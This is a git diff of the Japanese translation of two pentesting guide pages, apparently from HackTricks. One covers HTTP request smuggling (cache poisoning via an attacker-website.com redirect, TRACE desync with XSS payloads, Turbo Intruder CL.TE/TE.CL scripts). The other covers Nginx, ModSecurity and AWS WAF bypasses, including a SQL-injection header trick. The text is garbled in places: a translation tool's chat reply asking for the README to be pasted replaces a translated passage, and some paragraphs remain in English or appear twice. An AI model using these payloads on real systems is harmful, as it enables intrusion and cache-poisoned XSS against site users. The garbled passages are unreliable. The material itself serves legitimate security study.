|
||||
```
|
||||
GET /home HTTP/1.1
|
||||
Host: attacker-website.com
|
||||
Foo: XGET /scripts/include.js HTTP/1.1
|
||||
Host: vulnerable-website.com
|
||||
```
|
||||
結果は:
|
||||
結果:
|
||||
```
|
||||
HTTP/1.1 301 Moved Permanently
|
||||
Location: https://attacker-website.com/home/
|
||||
```
|
||||
このシナリオでは、ユーザーのJavaScriptファイルへのリクエストがハイジャックされます。攻撃者は、応答として悪意のあるJavaScriptを提供することで、ユーザーを危険にさらす可能性があります。
|
||||
このシナリオでは、ユーザーの JavaScript ファイルへのリクエストがハイジャックされます。攻撃者は、悪意のある JavaScript を返すことでユーザーを侵害できる可能性があります。
|
||||
|
||||
### HTTPリクエストスムージングを介したウェブキャッシュポイズニングの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### HTTP Request Smuggling を介した Web Cache Poisoning の悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
ウェブキャッシュポイズニングは、**フロントエンドインフラストラクチャがコンテンツをキャッシュする**任意のコンポーネントがある場合に実行できます。通常、これはパフォーマンスを向上させるためです。サーバーの応答を操作することで、**キャッシュをポイズン**することが可能です。
|
||||
Web cache poisoning は、通常パフォーマンス向上のために**front-end infrastructure caches content**(フロントエンドのコンポーネントがコンテンツをキャッシュしている)場合に実行可能です。サーバーのレスポンスを操作することで、**poison the cache** ことが可能です。
|
||||
|
||||
以前、サーバーの応答を変更して404エラーを返す方法を観察しました([基本的な例](#basic-examples)を参照)。同様に、サーバーを騙して`/static/include.js`へのリクエストに対して`/index.html`のコンテンツを提供させることも可能です。その結果、`/static/include.js`のコンテンツがキャッシュ内で`/index.html`のもので置き換えられ、ユーザーが`/static/include.js`にアクセスできなくなり、サービス拒否(DoS)につながる可能性があります。
|
||||
前述のように、サーバーのレスポンスを変更して 404 エラーを返す方法を確認しました(参照: [Basic Examples](#basic-examples))。同様に、`/static/include.js` へのリクエストに対して `/index.html` の内容を返すようサーバーを騙すことも可能です。その結果、`/static/include.js` の内容がキャッシュ内で `/index.html` の内容に置き換わり、ユーザーから `/static/include.js` へアクセスできなくなり、Denial of Service (DoS) を引き起こす可能性があります。
|
||||
|
||||
この技術は、**オープンリダイレクトの脆弱性**が発見された場合や、**オープンリダイレクトへのオンサイトリダイレクト**がある場合に特に強力になります。このような脆弱性を悪用して、攻撃者の制御下にあるスクリプトで`/static/include.js`のキャッシュコンテンツを置き換えることができ、実質的にすべてのクライアントに対して広範なクロスサイトスクリプティング(XSS)攻撃を可能にします。
|
||||
この手法は、**Open Redirect vulnerability** が見つかった場合や **on-site redirect to an open redirect** が存在する場合に特に強力になります。これらの脆弱性を利用すると、キャッシュされた `/static/include.js` の内容を攻撃者の管理するスクリプトに置き換えることができ、結果的に更新された `/static/include.js` を要求するすべてのクライアントに対して大規模な Cross-Site Scripting (XSS) 攻撃を実行することが可能になります。
|
||||
|
||||
以下は、**オープンリダイレクトへのオンサイトリダイレクトと組み合わせたキャッシュポイズニングの悪用**の例です。目的は、攻撃者が制御するJavaScriptコードを提供するために`/static/include.js`のキャッシュコンテンツを変更することです:
|
||||
以下は、**cache poisoning combined with an on-site redirect to open redirect** を悪用する例です。目的は `/static/include.js` のキャッシュ内容を変更し、攻撃者が制御する JavaScript コードを配信させることです:
|
||||
```
|
||||
POST / HTTP/1.1
|
||||
Host: vulnerable.net
|
||||
@ -598,20 +599,20 @@ Content-Length: 10
|
||||
|
||||
x=1
|
||||
```
|
||||
埋め込まれたリクエストが `/post/next?postId=3` をターゲットにしていることに注意してください。このリクエストは `/post?postId=4` にリダイレクトされ、**Host ヘッダーの値**を利用してドメインを決定します。**Host ヘッダー**を変更することで、攻撃者はリクエストを自分のドメインにリダイレクトできます(**オンサイトリダイレクトからオープンリダイレクト**)。
|
||||
Note the embedded request targeting `/post/next?postId=3`. This request will be redirected to `/post?postId=4`, utilizing the **Host header value** to determine the domain. By altering the **Host header**, the attacker can redirect the request to their domain (**on-site redirect to open redirect**).
|
||||
|
||||
成功した **ソケットポイズニング** の後、`/static/include.js` に対する **GET リクエスト** を開始する必要があります。このリクエストは、前の **オンサイトリダイレクトからオープンリダイレクト** リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
||||
成功した **socket poisoning** の後、`/static/include.js` への **GET request** を発行する必要があります。このリクエストは前述の **on-site redirect to open redirect** リクエストによって汚染され、攻撃者が制御するスクリプトの内容を取得します。
|
||||
|
||||
その後、`/static/include.js` に対するリクエストは、攻撃者のスクリプトのキャッシュされた内容を提供し、効果的に広範な XSS 攻撃を開始します。
|
||||
その後、`/static/include.js` へのあらゆるリクエストは攻撃者のスクリプトのキャッシュされた内容を返すようになり、実質的に大規模な XSS 攻撃を開始します。
|
||||
|
||||
### HTTP リクエストスムージングを使用してウェブキャッシュの欺瞞を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
### HTTP request smuggling を用いて web cache deception を実行する <a href="#using-http-request-smuggling-to-perform-web-cache-deception" id="using-http-request-smuggling-to-perform-web-cache-deception"></a>
|
||||
|
||||
> **ウェブキャッシュポイズニングとウェブキャッシュの欺瞞の違いは何ですか?**
|
||||
> **web cache poisoning と web cache deception の違いは何ですか?**
|
||||
>
|
||||
> - **ウェブキャッシュポイズニング** では、攻撃者がアプリケーションに悪意のあるコンテンツをキャッシュに保存させ、そのコンテンツが他のアプリケーションユーザーに提供されます。
|
||||
> - **ウェブキャッシュの欺瞞** では、攻撃者がアプリケーションに他のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
|
||||
> - **web cache poisoning** では、攻撃者がアプリケーションに悪意あるコンテンツをキャッシュに保存させ、そのコンテンツがキャッシュから他のアプリケーション利用者に提供されます。
|
||||
> - **web cache deception** では、攻撃者が別のユーザーに属する機密コンテンツをキャッシュに保存させ、攻撃者がそのコンテンツをキャッシュから取得します。
|
||||
|
||||
攻撃者は、機密のユーザー固有のコンテンツを取得するためのスムージングリクエストを作成します。次の例を考えてみてください:
|
||||
攻撃者はユーザー固有の機密コンテンツを取得する smuggled request を作成します。以下の例を見てください:
|
||||
```markdown
|
||||
`POST / HTTP/1.1`\
|
||||
`Host: vulnerable-website.com`\
|
||||
@ -622,17 +623,17 @@ x=1
|
||||
`GET /private/messages HTTP/1.1`\
|
||||
`Foo: X`
|
||||
```
|
||||
このスムグルされたリクエストが静的コンテンツ(例:`/someimage.png`)用のキャッシュエントリを汚染すると、被害者の`/private/messages`からの機密データが静的コンテンツのキャッシュエントリの下にキャッシュされる可能性があります。その結果、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
|
||||
この smuggled request が静的コンテンツ(例: `/someimage.png`)向けのキャッシュエントリを汚染すると、被害者の `/private/messages` にある機密データが静的コンテンツのキャッシュエントリにキャッシュされてしまう可能性があります。結果として、攻撃者はこれらのキャッシュされた機密データを取得できる可能性があります。
|
||||
|
||||
### HTTPリクエストスムグリングを利用したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### Abusing TRACE via HTTP Request Smuggling <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**この投稿**](https://portswigger.net/research/trace-desync-attack)では、サーバーにTRACEメソッドが有効になっている場合、HTTPリクエストスムグリングを使用して悪用できる可能性があると示唆されています。これは、このメソッドがサーバーに送信された任意のヘッダーをレスポンスのボディの一部として反映するためです。例えば:
|
||||
[**In this post**](https://portswigger.net/research/trace-desync-attack) は、サーバで TRACE メソッドが有効になっている場合、HTTP Request Smuggling と組み合わせて悪用できる可能性があると示唆しています。これは、このメソッドがサーバに送信された任意のヘッダーをレスポンスの本文の一部として反映するためです。例えば:
|
||||
```
|
||||
TRACE / HTTP/1.1
|
||||
Host: example.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
```
|
||||
I'm ready to assist you with the translation. Please provide the text you would like to have translated.
|
||||
Please paste the contents of src/pentesting-web/http-request-smuggling/README.md here. I will translate the English text to Japanese while preserving code, hacking technique names, cloud/SaaS names, links, paths, tags, refs and all markdown/html syntax exactly as-is.
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: message/http
|
||||
@ -643,17 +644,17 @@ Host: vulnerable.com
|
||||
XSS: <script>alert("TRACE")</script>
|
||||
X-Forwarded-For: xxx.xxx.xxx.xxx
|
||||
```
|
||||
この動作を悪用する例としては、**最初にHEADリクエストをスムグル**ことが挙げられます。このリクエストには、GETリクエストの**ヘッダー**のみが応答されます(その中には**`Content-Type`**も含まれます)。そして、**HEADの後にすぐにTRACEリクエストをスムグル**し、送信されたデータを**反映させる**ことができます。\
|
||||
HEADの応答には`Content-Length`ヘッダーが含まれるため、**TRACEリクエストの応答はHEAD応答のボディとして扱われ、したがって任意のデータが応答に反映されます**。\
|
||||
この応答は接続上の次のリクエストに送信されるため、例えば**キャッシュされたJSファイルで任意のJSコードを注入するために使用される可能性があります**。
|
||||
この挙動を悪用する例としては、まず**HEADリクエストをsmuggleする**ことが挙げられます。This request will be responded with only the **headers** of a GET request(**`Content-Type`** among them)。そしてHEADの直後に**TRACEリクエストをsmuggle**すると、それは送信したデータを**反映します**。\
|
||||
HEADのレスポンスには`Content-Length`ヘッダが含まれるため、**TRACEリクエストのレスポンスはHEADレスポンスのボディとして扱われ、結果的に任意のデータがレスポンスに反映されます**。\
|
||||
このレスポンスはコネクション上の次のリクエストへ送られるため、例えばキャッシュされたJSファイルに利用して任意のJSコードを注入することができます。
|
||||
|
||||
### HTTPレスポンス分割を介したTRACEの悪用 <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
### TRACEをHTTP Response Splitting経由で悪用する <a href="#exploiting-web-cache-poisoning-via-http-request-smuggling" id="exploiting-web-cache-poisoning-via-http-request-smuggling"></a>
|
||||
|
||||
[**この投稿**](https://portswigger.net/research/trace-desync-attack)を続けると、TRACEメソッドを悪用する別の方法が提案されています。コメントされたように、HEADリクエストとTRACEリクエストをスムグルすることで、HEADリクエストへの応答における**反映されたデータの一部を制御する**ことが可能です。HEADリクエストのボディの長さは基本的にContent-Lengthヘッダーで示され、TRACEリクエストへの応答によって形成されます。
|
||||
続けて[**this post**](https://portswigger.net/research/trace-desync-attack)を参照することが推奨され、TRACEメソッドを悪用する別の方法が示されています。前述の通り、HEADリクエストとTRACEリクエストをsmuggleすることで、HEADレスポンスに含まれる一部の反映データを**制御できる**可能性があります。HEADリクエストのボディ長は基本的に`Content-Length`ヘッダで示され、その内容はTRACEリクエストのレスポンスによって構成されます。
|
||||
|
||||
したがって、新しいアイデアは、このContent-LengthとTRACE応答で与えられたデータを知ることで、TRACE応答がContent-Lengthの最後のバイトの後に有効なHTTP応答を含むようにすることが可能であり、攻撃者が次の応答へのリクエストを完全に制御できるようにすることです(これによりキャッシュポイズニングを実行することができます)。
|
||||
したがって、この`Content-Length`とTRACEレスポンス内のデータを把握すれば、TRACEレスポンスが`Content-Length`の最後のバイト以降に有効なHTTPレスポンスを含むように仕向けることが可能になり、攻撃者は次のレスポンスに対する要求を完全に制御できます(これはcache poisoningに利用できます)。
|
||||
|
||||
例:
|
||||
Example:
|
||||
```
|
||||
GET / HTTP/1.1
|
||||
Host: example.com
|
||||
@ -672,7 +673,7 @@ Content-Length: 44\r\n
|
||||
\r\n
|
||||
<script>alert("response splitting")</script>
|
||||
```
|
||||
これらのレスポンスを生成します(HEADレスポンスにContent-Lengthが含まれているため、TRACEレスポンスがHEADボディの一部となり、HEAD Content-Lengthが終了すると有効なHTTPレスポンスがスムーズに送信されます):
|
||||
次のレスポンスを生成します(HEADレスポンスが Content-Length を持ち、それにより TRACE レスポンスが HEAD ボディの一部となり、HEAD の Content-Length が終了すると有効な HTTP レスポンスが smuggled される点に注意):
|
||||
```
|
||||
HTTP/1.1 200 OK
|
||||
Content-Type: text/html
|
||||
@ -693,36 +694,36 @@ Content-Length: 50
|
||||
|
||||
<script>alert(“arbitrary response”)</script>
|
||||
```
|
||||
### HTTPリクエストスムーギングをHTTPレスポンスデシンクロナイゼーションで武器化する
|
||||
### HTTP Response Desynchronisationを利用したHTTP Request Smugglingの武器化
|
||||
|
||||
HTTPリクエストスムーギングの脆弱性を見つけたが、どのように悪用するかわからない場合は、他の悪用方法を試してみてください:
|
||||
HTTP Request Smugglingの脆弱性を見つけたが、どのように悪用すればよいかわからない場合は、以下の他の攻撃手法を試してください:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../http-response-smuggling-desync.md
|
||||
{{#endref}}
|
||||
|
||||
### その他のHTTPリクエストスムーギング技術
|
||||
### その他の HTTP Request Smuggling Techniques
|
||||
|
||||
- ブラウザHTTPリクエストスムーギング(クライアントサイド)
|
||||
- Browser HTTP Request Smuggling (Client Side)
|
||||
|
||||
|
||||
{{#ref}}
|
||||
browser-http-request-smuggling.md
|
||||
{{#endref}}
|
||||
|
||||
- HTTP/2ダウングレードにおけるリクエストスムーギング
|
||||
- Request Smuggling in HTTP/2 Downgrades
|
||||
|
||||
|
||||
{{#ref}}
|
||||
request-smuggling-in-http-2-downgrades.md
|
||||
{{#endref}}
|
||||
|
||||
## ターボイントルーダースクリプト
|
||||
## Turbo intruder scripts
|
||||
|
||||
### CL.TE
|
||||
|
||||
From [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
出典: [https://hipotermia.pw/bb/http-desync-idor](https://hipotermia.pw/bb/http-desync-idor)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
|
||||
@ -763,7 +764,7 @@ table.add(req)
|
||||
```
|
||||
### TE.CL
|
||||
|
||||
From: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
出典: [https://hipotermia.pw/bb/http-desync-account-takeover](https://hipotermia.pw/bb/http-desync-account-takeover)
|
||||
```python
|
||||
def queueRequests(target, wordlists):
|
||||
engine = RequestEngine(endpoint=target.endpoint,
|
||||
@ -805,18 +806,18 @@ time.sleep(0.05)
|
||||
def handleResponse(req, interesting):
|
||||
table.add(req)
|
||||
```
|
||||
## ツール
|
||||
## Tools
|
||||
|
||||
- HTTP Hacker (Burp BApp Store) – 連結/フレーミングと低レベルのHTTP動作を可視化
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater カスタムアクション "Smuggling or pipelining?"
|
||||
- HTTP Hacker (Burp BApp Store) – 連結/フレーミングや低レベルのHTTP挙動を可視化する
|
||||
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action "Smuggling or pipelining?"
|
||||
- [https://github.com/anshumanpattnaik/http-request-smuggling](https://github.com/anshumanpattnaik/http-request-smuggling)
|
||||
- [https://github.com/PortSwigger/http-request-smuggler](https://github.com/PortSwigger/http-request-smuggler)
|
||||
- [https://github.com/gwen001/pentest-tools/blob/master/smuggler.py](https://github.com/gwen001/pentest-tools/blob/master/smuggler.py)
|
||||
- [https://github.com/defparam/smuggler](https://github.com/defparam/smuggler)
|
||||
- [https://github.com/Moopinger/smugglefuzz](https://github.com/Moopinger/smugglefuzz)
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは、奇妙なリクエストスムグリングの不一致を見つけるのに役立つ文法ベースのHTTPファズァです。
|
||||
- [https://github.com/bahruzjabiyev/t-reqs-http-fuzzer](https://github.com/bahruzjabiyev/t-reqs-http-fuzzer): このツールは文法ベースのHTTP Fuzzerで、奇妙な request smuggling の不一致を見つけるのに有用です。
|
||||
|
||||
## 参考文献
|
||||
## References
|
||||
|
||||
- [https://portswigger.net/web-security/request-smuggling](https://portswigger.net/web-security/request-smuggling)
|
||||
- [https://portswigger.net/web-security/request-smuggling/finding](https://portswigger.net/web-security/request-smuggling/finding)
|
||||
@ -827,10 +828,10 @@ table.add(req)
|
||||
- [https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/](https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/)
|
||||
- [https://portswigger.net/research/trace-desync-attack](https://portswigger.net/research/trace-desync-attack)
|
||||
- [https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
|
||||
- 偽の偽陽性に注意: HTTPパイプライニングとリクエストスムグリングを区別する方法 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- false false‑positive に注意: HTTP pipelining と request smuggling を区別する方法 – [https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling](https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling)
|
||||
- [https://http1mustdie.com/](https://http1mustdie.com/)
|
||||
- ブラウザ駆動のデシンク攻撃 – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – クライアントサイドデシンク – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
- Browser‑Powered Desync Attacks – [https://portswigger.net/research/browser-powered-desync-attacks](https://portswigger.net/research/browser-powered-desync-attacks)
|
||||
- PortSwigger Academy – client‑side desync – [https://portswigger.net/web-security/request-smuggling/browser/client-side-desync](https://portswigger.net/web-security/request-smuggling/browser/client-side-desync)
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -1,11 +1,11 @@
|
||||
# Proxy / WAF Protections Bypass
|
||||
# Proxy / WAF 保護のバイパス
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## パス名操作による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
## Pathname Manipulation による Nginx ACL ルールのバイパス <a href="#heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules" id="heading-pathname-manipulation-bypassing-reverse-proxies-and-load-balancers-security-rules"></a>
|
||||
|
||||
技術 [この研究から](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)。
|
||||
手法 [from this research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
|
||||
|
||||
Nginx ルールの例:
|
||||
```plaintext
|
||||
@ -17,11 +17,13 @@ location = /admin/ {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
Nginxはバイパスを防ぐために、チェックする前にパスの正規化を行います。しかし、バックエンドサーバーが異なる正規化(nginxが削除しない文字を削除する)を行う場合、この防御をバイパスすることが可能かもしれません。
|
||||
In order to prevent bypasses Nginx performs path normalization before checking it. However, if the backend server performs a different normalization (removing characters that nginx doesn't remove) it might be possible to bypass this defense.
|
||||
|
||||
バイパスを防ぐため、Nginx はチェックの前にパスの正規化を行います。しかし、バックエンドサーバが異なる正規化(nginx が削除しない文字を削除するなど)を行う場合、この防御を回避できる可能性があります。
|
||||
|
||||
### **NodeJS - Express**
|
||||
|
||||
| Nginx Version | **Node.js Bypass Characters** |
|
||||
| Nginx バージョン | **Node.js バイパス文字** |
|
||||
| ------------- | ----------------------------- |
|
||||
| 1.22.0 | `\xA0` |
|
||||
| 1.21.6 | `\xA0` |
|
||||
@ -31,7 +33,7 @@ Nginxはバイパスを防ぐために、チェックする前にパスの正規
|
||||
|
||||
### **Flask**
|
||||
|
||||
| Nginx Version | **Flask Bypass Characters** |
|
||||
| Nginx バージョン | **Flask バイパス文字** |
|
||||
| ------------- | -------------------------------------------------------------- |
|
||||
| 1.22.0 | `\x85`, `\xA0` |
|
||||
| 1.21.6 | `\x85`, `\xA0` |
|
||||
@ -41,7 +43,7 @@ Nginxはバイパスを防ぐために、チェックする前にパスの正規
|
||||
|
||||
### **Spring Boot**
|
||||
|
||||
| Nginx Version | **Spring Boot Bypass Characters** |
|
||||
| Nginx バージョン | **Spring Boot バイパス文字** |
|
||||
| ------------- | --------------------------------- |
|
||||
| 1.22.0 | `;` |
|
||||
| 1.21.6 | `;` |
|
||||
@ -62,32 +64,32 @@ include snippets/fastcgi-php.conf;
|
||||
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
|
||||
}
|
||||
```
|
||||
Nginxは`/admin.php`へのアクセスをブロックするように設定されていますが、`/admin.php/index.php`にアクセスすることでこれをバイパスすることが可能です。
|
||||
Nginx は `/admin.php` へのアクセスをブロックするように設定されていますが、`/admin.php/index.php` にアクセスすることでこれを回避できる場合があります。
|
||||
|
||||
### 予防策
|
||||
### 対策
|
||||
```plaintext
|
||||
location ~* ^/admin {
|
||||
deny all;
|
||||
}
|
||||
```
|
||||
## Mod Securityルールのバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
## Mod Security のルールのバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### パスの混乱
|
||||
### パス混同
|
||||
|
||||
[**この投稿**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/)では、ModSecurity v3(3.0.12まで)が、アクセスされたパスを含むはずの`REQUEST_FILENAME`変数を**不適切に実装していた**ことが説明されています(パラメータの開始まで)。これは、パスを取得するためにURLデコードを行ったためです。\
|
||||
したがって、`http://example.com/foo%3f';alert(1);foo=`のようなリクエストは、mod securityではパスが単に`/foo`であると見なされます。なぜなら、`%3f`が`?`に変換されてURLパスが終了するからですが、実際にサーバーが受け取るパスは`/foo%3f';alert(1);foo=`です。
|
||||
[**In this post**](https://blog.sicuranext.com/modsecurity-path-confusion-bugs-bypass/) では ModSecurity v3(3.0.12 まで)が、アクセスされたパス(パラメータ開始まで)を含むはずの `REQUEST_FILENAME` 変数を **不適切に実装していた** と説明されています。これはパスを取得するために URL デコードを行っていたためです。\
|
||||
そのため、`http://example.com/foo%3f';alert(1);foo=` のようなリクエストは ModSecurity 上では `%3f` が `?` に変換されて URL パスの終端と判断され、パスが `/foo` と見なされますが、実際にサーバーが受け取るパスは `/foo%3f';alert(1);foo=` になります。
|
||||
|
||||
`REQUEST_BASENAME`および`PATH_INFO`変数もこのバグの影響を受けました。
|
||||
`REQUEST_BASENAME` と `PATH_INFO` の変数もこのバグの影響を受けていました。
|
||||
|
||||
Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子(例えば`.bak`)に関連するファイルへのアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを`%2e`でURLエンコードして送信することで実現されました。例えば:`https://example.com/backup%2ebak`。
|
||||
同様の問題は Mod Security のバージョン2でも発生しており、バックアップファイル(例: `.bak`)に関連する特定の拡張子を持つファイルへのアクセスを防ぐ保護を、ドットを `%2e` で URL エンコードして送るだけで回避できました。例えば: `https://example.com/backup%2ebak`。
|
||||
|
||||
## AWS WAF ACL のバイパス <a href="#heading-bypassing-aws-waf-acl" id="heading-bypassing-aws-waf-acl"></a>
|
||||
|
||||
### 不正なヘッダー
|
||||
|
||||
[この研究](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)では、AWSによって適用されたHTTPヘッダーに対するAWS WAFルールを、不正なヘッダーを送信することでバイパスすることが可能であったと述べられています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。
|
||||
[This research](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) では、AWS が正しくパースしないがバックエンドサーバーはパースする「malformed」ヘッダーを送ることで、HTTP headers に適用された AWS WAF ルールをバイパスできたと述べられています。
|
||||
|
||||
例えば、ヘッダーX-QueryにSQLインジェクションを含む次のリクエストを送信することです:
|
||||
例えば、ヘッダー X-Query に SQL injection を含む次のリクエストを送ると:
|
||||
```http
|
||||
GET / HTTP/1.1\r\n
|
||||
Host: target.com\r\n
|
||||
@ -96,51 +98,52 @@ X-Query: Value\r\n
|
||||
Connection: close\r\n
|
||||
\r\n
|
||||
```
|
||||
AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解しなかったためであり、NODEJSサーバーは理解していた(これは修正された)。
|
||||
It was possible to bypass AWS WAF because it wouldn't understand that the next line is part of the value of the header while the NODEJS server did (this was fixed).
|
||||
|
||||
## 一般的なWAFバイパス
|
||||
## 一般的な WAF bypasses
|
||||
|
||||
### リクエストサイズ制限
|
||||
### リクエストサイズの制限
|
||||
|
||||
一般的にWAFは、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。
|
||||
一般的に、WAF は検査するリクエストの長さに上限があり、POST/PUT/PATCH リクエストがその上限を超えると、WAF はリクエストを検査しません。
|
||||
|
||||
- AWS WAFについては、[**ドキュメントを確認できます**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
- For AWS WAF, you can [**check the documentation**](https://docs.aws.amazon.com/waf/latest/developerguide/limits.html)**:**
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load BalancerおよびAWS AppSync保護のために検査できるWebリクエストボディの最大サイズ</td><td>8 KB</td></tr><tr><td>CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるWebリクエストボディの最大サイズ**</td><td>64 KB</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="687"></th><th></th></tr></thead><tbody><tr><td>Application Load Balancer と AWS AppSync の保護に対して検査できる Web リクエストボディの最大サイズ</td><td>8 KB</td></tr><tr><td>CloudFront、API Gateway、Amazon Cognito、App Runner、および Verified Access の保護に対して検査できる Web リクエストボディの最大サイズ**</td><td>64 KB</td></tr></tbody></table>
|
||||
|
||||
- [**Azureのドキュメントから**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
- From [**Azure docs**](https://learn.microsoft.com/en-us/azure/web-application-firewall/ag/application-gateway-waf-request-size-limits)**:**
|
||||
|
||||
古いWebアプリケーションファイアウォールは、リクエストボディの検査をオフにすることで**128 KB**を超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョン(Core Rule Set 3.2以降)では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると:
|
||||
Core Rule Set 3.1(またはそれ以下)の古い Web Application Firewalls は、リクエストボディ検査をオフにすることで **128 KB** を超えるメッセージを許容しますが、これらのメッセージは脆弱性のチェック対象にはなりません。新しいバージョン(Core Rule Set 3.2 以降)では、最大リクエストボディ制限を無効にすることで同様のことが可能です。リクエストがサイズ制限を超えた場合:
|
||||
|
||||
**防止モード**の場合:リクエストをログに記録し、ブロックします。\
|
||||
**検出モード**の場合:制限まで検査し、残りを無視し、`Content-Length`が制限を超えた場合はログに記録します。
|
||||
If **prevention mode**: ログに記録してリクエストをブロックします.\
|
||||
If **detection mode**: 指定上限まで検査し、残りは無視し、`Content-Length` が上限を超える場合にログを記録します。
|
||||
|
||||
- [**Akamaiから**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
- From [**Akamai**](https://community.akamai.com/customers/s/article/Can-WAF-inspect-all-arguments-and-values-in-request-body?language=en_US)**:**
|
||||
|
||||
デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで増やすことができます。
|
||||
デフォルトでは、WAF はリクエストの最初の 8KB のみを検査します。Advanced Metadata を追加することで、上限を 128KB まで増やすことができます。
|
||||
|
||||
- [**Cloudflareから**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
- From [**Cloudflare**](https://developers.cloudflare.com/ruleset-engine/rules-language/fields/#http-request-body-fields)**:**
|
||||
|
||||
最大 128KB。
|
||||
|
||||
### 静的アセットの検査ギャップ (.js GETs)
|
||||
### 静的アセットの検査のギャップ (.js GETs)
|
||||
|
||||
一部のCDN/WAFスタックは、静的アセット(例えば、`.js`で終わるパス)へのGETリクエストに対して弱いまたは無検査のコンテンツ検査を適用し、同時にレート制限やIP評判のようなグローバルルールを適用します。静的拡張子の自動キャッシュと組み合わせることで、悪意のあるバリアントを配信またはシードして、後続のHTMLレスポンスに影響を与えることができます。
|
||||
一部の CDN/WAF スタックは、静的アセット(例:`.js` で終わるパス)への GET リクエストに対して弱い、またはまったくコンテンツ検査を行わないことがありますが、rate limiting や IP reputation のようなグローバルルールは適用されます。静的拡張子の自動キャッシュと組み合わせると、これを悪用して後続の HTML レスポンスに影響を与える悪意あるバリアントを配信・注入することが可能です。
|
||||
|
||||
実用的な使用例:
|
||||
実用的なユースケース:
|
||||
|
||||
- コンテンツ検査を回避するために、GETリクエストで`.js`パスに不正なヘッダー(例:`User-Agent`)でペイロードを送信し、その後すぐにメインHTMLをリクエストしてキャッシュされたバリアントに影響を与える。
|
||||
- 新しい/クリーンなIPを使用する;IPがフラグ付けされると、ルーティングの変更により技術が信頼できなくなる可能性があります。
|
||||
